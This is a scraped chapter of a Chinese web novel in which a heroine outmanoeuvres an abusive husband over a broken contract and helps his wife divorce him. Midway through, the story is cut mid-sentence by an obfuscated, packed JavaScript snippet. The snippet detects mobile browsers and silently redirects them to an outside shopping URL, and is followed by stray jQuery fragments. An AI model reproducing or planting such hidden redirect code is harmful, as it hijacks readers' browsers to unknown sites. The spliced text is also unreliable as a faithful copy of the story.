29. 休夫
作品:《重生之财倾朝野》 一大早,曲府的门外就停了一辆马车,整个车篷用大红的丝绒布缠绕,喜气满满,引得路人驻足围观。
“难道那曲大少爷又要抬一房小妾入门?”
“真是可怜了曲家的母女两人,唉......”
众人议论纷纷,以为是曲家大少爷又娶了一房小妾。
春夏撩开车帘,下马冲着围观的人群扬声道:“曲大少爷,我们来取货了!”
“好像不是娶妾,那这装扮得为何如此喜气?”
“你们还记得不,十日前,曲家大少不是接了个大单,今日怕不是履约的日子到了,人家上门取货呢?”
“那我倒要看看,他们曲家如今还做不做得出红品。”
倪天娇透过车帘看着越来越多围观的人群,越发的满意。
“姑娘怎么这么早就到了,我们进去说,进去说。”
曲伟连连邀请春夏入院。
“不了,曲少爷,我们赶时间,早点取完货,早点给主家交差。”春夏避开他的手,往后退了半步。
曲伟脸上的笑意有些僵硬,立在原地半天不动。
春夏见状故作不解地问道:“怎么了,曲少爷,有什么问题吗?”
“没问题,没问题,”曲伟搓了搓手,看了看围观的人员,回过神来又改口道,“有,有一点问题......”
春夏闻言沉下脸色,轻声道:“曲少爷不会交不了货了吧?”
曲伟不做声。
人群等了半天都没能一饱眼福,离得近的人闻言,嗤笑道:“曲少爷交不了货啦!要赔个精光啦!以后可逛不了花楼喽!”
“切,我就知道会这样,他曲伟能成什么事!”
“十倍赔偿,就是把这宅子卖了,怕也不够赔的。”
人群中的话,令曲伟冷汗直落,眼神不善地盯着春夏,伸手就要去拽人入府。
“曲少爷,众目睽睽之下,难道你还要赖账,对我的侍女动手吗?我们可不是你曲家娘子,你可看清楚了!”
倪天娇撩开车帘,春夏赶紧搀扶着她下马,在曲伟面前站定。
“曲少爷,需要官府出面定夺吗?”
倪天娇盯着一头冷汗的曲伟,气势逼人。
远远的曲家小厮捧着个木盒匆匆跑来。
“大少爷,只有七十八支。”小厮的手不由自主地抖动着,话语间全是对曲少爷的恐惧。
“这位小姐,你看着七十八支,要不先拿去用,就是当今皇上娶妃,怕是也用不完一百一十支金钗。”曲伟忍不住说道。
“戴不戴得完又关你何事,你今日所需做的只有一件事,那就是如期交货。”
倪天娇看了眼那七十八支金钗,慢条斯理的掏出曲伟签字画押的契书,抖开道:“一百一十支金钗,就是少了一支金钗,那也是违约,毕竟我可是付了一百一十支金钗的全款,整整十箱银锭,一分可不曾少过,白纸黑字写得分明,曲少爷可不要只图收钱爽快。”
曲伟见状,心一横:“就这七十八支金钗,你不收也得收,剩下的我下月补给你,要我赔钱,门都没有!”
围观的人群见状指指点点,却无人敢为倪天娇出头,可见曲伟的恶行令大家都不敢轻举妄动,一如那日看着曲家娘子当街被打,却无人施以援手。
“哦——曲大少爷要这么做是吗?你可想好了?”倪天娇不怒反笑。
“我想好了,小娘子同我曲伟做生意前,就没打听打听......”
不待曲伟话落,倪天娇轻描淡写道:“官府的人马上就到了,既然你毁约,那整整十箱的银锭,依着我国的律法,怕是也够你牢底坐穿了。”
“你——你竟敢报官!”
“我有何不敢?就算抓了你,这十箱银锭充公,也是我乐意。”
倪天娇笑的开怀令曲伟更加恼火,他自是不愿坐牢,缓和道:“小姑娘,有事好商量,何必惊动官府呢?”
“金钗你交不出,银子你赔不起,有什么好商量的。”说着她转身欲上马车。
“哎哎哎,这,这不是还有宅子吗?再,再不济,我把曲灵也抵给你,等她的手恢复了,她的手艺就是要上千支曲家的红品,也不在话下。”曲伟为了不坐牢,开始细数家当。
“哦,曲少爷开始卖曲老爷子留下的祖宅和妻女了是吗?
“可是,就算是这些,怕也是不够赔啊,我还是吃亏了啊!
“若是我全权接盘,你不是又有理由跟着曲家娘子,一起住到这宅子里,过着同现在一样的营生,怎么看都是我吃了大亏。”
倪天娇的一番话毫不留情地戳破了曲伟打的算盘,他的一张脸被她说得红了又白,白了又红的。
“那,那我就休了曲灵,我们俩没了干系,这下总该行了吧。”
曲伟咬牙道,反正曲老爷还有一处宅子,他一早就将宅子落在了红楼小翠的名下,小翠怀了他的孩子,郎中看过了是个带把的,他已经替她赎身,两人约定以后好好过日子。
这曲家除了这个宅子,也没什么好留的,那十箱银锭就当卖了祖宅。
“可是,我不喜欢用下堂妇,有损名声。”倪天娇说得理直气壮,“这样吧,把曲灵叫出来,让她休了你,我还有一丝考虑的余地。”
人群中发出哄笑。
“你——”曲伟气急,却又惧怕她真的不留余地地将他告上公堂,落得个财空困狱。
“去叫曲灵过来!”他忍着怒气冲小厮吩咐道。
指尖鲜血淋淋的曲灵,苍白着一张脸出现在曲府门口,对上一双有些熟悉的双眸,她还未明白发生了何事。
只见身着湛蓝长裙的女子,开口冲她吩咐道:“曲家娘子,你可愿休夫,专心为我倪家做事?”
曲灵闻言不可置信地睁大了眼睛,休夫?她?
“曲灵,你傻了吗!如今如了你的意了,你还在拿乔些什么!”曲伟说着,一巴掌招呼到了她脸上,令所有人猝不及防。
跌倒在地的曲灵,却似毫无痛觉,怔怔地问道:“我真的......可以休夫吗?那杏儿归我吗?”
“归你,都归你,那个跟你一样的赔钱货,又不能传家继业,我要她干嘛,我哪有闲钱养她!”
曲伟一番话令众人指指点点,暗骂他猪狗不如,败光曲家家产,还祸害了曲家的女儿,又说曲老爷子识人不清,将女儿许给了这么个畜生!
谁都没有看到目睹了这一切的曲杏儿,躲在门口无声落泪。
“好!我要休夫!”曲灵恨恨的盯着曲伟,爬起来接过春夏手中的纸笔,那双红肿的双手颤抖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250560|195484||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着,一笔一划在纸上划清两人的界限。
写好后,曲灵递给曲伟,他看都不看一眼,极快地在其上签字画押,扭脸就走,曲灵长舒一口气,这才看到门口的女儿。
她招了招手,杏儿一头扎进她的怀里,喃喃道:“娘,不哭,杏儿一个人也可以照顾好娘。”
女子曲灵闻言,滚烫的泪珠终是无声滑落,母女两人的可怜样,令围观的群众更是将曲伟一顿臭骂。
“拦住他!”倪天娇厉声喝道。
“房契还未抵给我,曲大少爷这就想走,未免也太心急了些。”
墙倒众人推,大家见曲伟这般过街老鼠的模样,纷纷将他围了起来。他只得掏出原本也想转到小翠名下的房契,咬牙接过春夏递来的契书,签字画押后灰溜溜的溜走了。
曲府一大早上演的闹剧,伴随着曲府大门的紧闭落下帷幕。
......
曲府厅堂,倪天娇将春夏手中的房契递给曲灵,她看着那张房契,却迟迟不敢去接。
“大姐姐,我知道你就是那日救了我和娘的人,虽然你的脸变了,但是你的眼睛我不会认错。”曲杏儿走近,端端正正地朝她行了个礼。
“你是天娇小姐!”曲灵这才反应过来,猛地抬头盯着倪天娇看了半晌。
“房契还你,你要相信你自己,你一个人也可以将杏儿养得很好。”
倪天娇蹲下身子,和曲杏儿平视,将手中的房契塞到她手中,道:“杏儿,还需要爹爹吗?”
“杏儿不需要,杏儿有娘就够了!杏儿很快就长大了,就能用外祖的手艺养活娘,就能把家从姐姐手里买回来!姐姐能不能先替杏儿保管房契?”
她将倪天娇塞到她手中的房契,重新还给她,稚嫩的脸上满是认真。
倪天娇脸上没有一丝戏谑,反而盈满了期待的笑意:“好,我答应你,等你攒够了钱,就来找我赎回你们的家。”
“一言为定!”
“一言为定。”
“天娇小姐,不可,孩子戏言,”曲灵有些惶恐,“您能帮我们摆脱曲伟已经很感激了,我们准备离开京城了。”
“为何要离开?”倪天娇拉着杏儿的手起身,“你就在这曲府,将曲府做大做强,强到他曲伟再不敢来找你的事,逃避是没有用的,你还不如你女儿活得通透。”
“娘,杏儿可以的,杏儿记得所有的工艺,杏儿答应过外祖要将曲家手艺传承下去,杏儿从未偷懒,每日都有勤加练习的!”半大的孩子,说完就跑开了,不一会儿捧着满满一筐铁制的首饰来到几人面前。
那巧夺天工的物什,即便是铁丝仍然难掩手艺的精巧,不敢想若是首饰做成这般模样,得有多么完美。
“这只是一小部分,大部分都被爹爹扔掉了......”杏儿有些失落。
倪天娇看着那精巧的物件,怕是过不上太久,这曲宅就能回到真正的曲家人手里了,她不再看向厅内的母女二人,将房契交给春夏,定定道:“如果你们真的想要报恩,那就把曲家的手艺做大吧,攒够了钱就去今朝醉找春夏要回房契。无论是现在还是以后,我都可以保证,这曲宅只会是你们的。”
她朝外走动的脚步顿了下,转头对曲家母女强调了句:“记住了,今日我们从未见过面——”

